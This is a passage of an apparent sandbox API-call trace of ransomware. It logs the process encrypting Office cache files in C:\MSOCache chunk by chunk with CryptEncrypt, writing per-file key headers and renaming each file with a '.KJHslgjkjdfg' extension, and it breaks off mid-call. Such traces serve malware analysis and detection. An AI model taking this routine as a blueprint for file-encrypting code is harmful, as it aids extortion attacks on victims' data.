(hKey=0x2c6260) returned 1 [0128.164] WriteFile (in: hFile=0x124, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0128.164] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0128.164] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0128.164] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0128.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0128.164] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0128.164] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0128.164] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0128.164] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.165] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0128.174] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0128.178] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.178] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0128.180] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.180] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0128.180] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.180] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0128.184] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0128.188] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x56543e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.188] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0128.189] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.189] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0128.189] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.189] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0128.193] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0128.196] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfefcc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.196] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0128.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.197] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0128.197] CryptDestroyKey (hKey=0x2c6260) returned 1 [0128.197] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x102fd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.197] SetEndOfFile (hFile=0x124) returned 1 [0128.201] GetProcessHeap () returned 0x2a0000 [0128.201] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0128.201] GetProcessHeap () returned 0x2a0000 [0128.202] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0128.202] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab.kjhslgjkjdfg")) returned 1 [0128.653] CloseHandle (hObject=0x124) returned 1 [0128.654] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0128.654] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0128.654] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x290f508 | out: lpFileSize=0x290f508*=2506240) returned 1 [0128.654] GetProcessHeap () returned 0x2a0000 [0128.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0128.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0128.654] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0128.655] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0128.655] GetProcessHeap () returned 0x2a0000 [0128.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0128.655] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f4d8*=0x40) returned 1 [0128.655] CryptDestroyKey (hKey=0x2c6260) returned 1 [0128.655] WriteFile (in: hFile=0x124, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290f4f4*=0x40, lpOverlapped=0x0) returned 1 [0128.668] WriteFile (in: hFile=0x124, lpBuffer=0x290f4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f4fc*, lpNumberOfBytesWritten=0x290f4f4*=0x4, lpOverlapped=0x0) returned 1 [0128.668] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f4*=0x10, lpOverlapped=0x0) returned 1 [0128.668] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f4*=0x80, lpOverlapped=0x0) returned 1 [0128.669] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0128.669] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f4, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f4*=0x8, lpOverlapped=0x0) returned 1 [0128.669] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4f8 | out: phKey=0x290f4f8*=0x2c6260) returned 1 [0128.669] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0128.669] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.669] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0128.680] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0128.685] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.685] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0128.687] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.687] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0128.687] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.687] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0128.699] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0128.702] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.702] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0128.704] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.704] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0128.704] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x290f4c8 | out: lpNewFilePointer=0x0) returned 1 [0128.704] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290f4bc, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f4bc*=0x40000, lpOverlapped=0x0) returned 1 [0129.021] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290f4c4*=0x40000) returned 1 [0129.024] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.024] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4c0*=0x40000, lpOverlapped=0x0) returned 1 [0129.025] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.025] WriteFile (in: hFile=0x124, lpBuffer=0x290f4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4c0, lpOverlapped=0x0 | out: lpBuffer=0x290f4c8*, lpNumberOfBytesWritten=0x290f4c0*=0x8, lpOverlapped=0x0) returned 1 [0129.025] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.025] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x263ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.025] SetEndOfFile (hFile=0x124) returned 1 [0129.029] GetProcessHeap () returned 0x2a0000 [0129.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0129.029] GetProcessHeap () returned 0x2a0000 [0129.029] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.029] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.kjhslgjkjdfg")) returned 1 [0129.030] CloseHandle (hObject=0x124) returned 1 [0129.263] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0129.263] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.263] GetProcessHeap () returned 0x2a0000 [0129.263] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0129.263] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0129.263] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0129.264] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x3, lpOverlapped=0x0) returned 1 [0129.287] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.287] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.287] GetProcessHeap () returned 0x2a0000 [0129.287] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0129.287] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf528*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0129.287] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.287] WriteFile (in: hFile=0x124, lpBuffer=0x2bf528*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf528*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0129.287] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0129.288] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0129.288] WriteFile (in: hFile=0x124, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0129.288] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0129.288] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.288] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.288] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.288] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x61d, lpOverlapped=0x0) returned 1 [0129.288] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x620) returned 1 [0129.288] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.289] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x620, lpOverlapped=0x0) returned 1 [0129.289] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.289] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0129.289] SetEndOfFile (hFile=0x124) returned 1 [0129.291] GetProcessHeap () returned 0x2a0000 [0129.292] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0129.292] GetProcessHeap () returned 0x2a0000 [0129.292] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0129.292] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.xml.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0129.293] CloseHandle (hObject=0x124) returned 1 [0129.293] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0129.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0129.305] GetProcessHeap () returned 0x2a0000 [0129.305] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0129.305] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0129.305] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0129.305] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0129.308] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0129.308] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0129.308] GetProcessHeap () returned 0x2a0000 [0129.308] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0129.309] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290f4e0*=0x30) returned 1 [0129.309] CryptDestroyKey (hKey=0x2c6260) returned 1 [0129.309] WriteFile (in: hFile=0x124, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290f4f8*=0x30, lpOverlapped=0x0) returned 1 [0129.309] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, 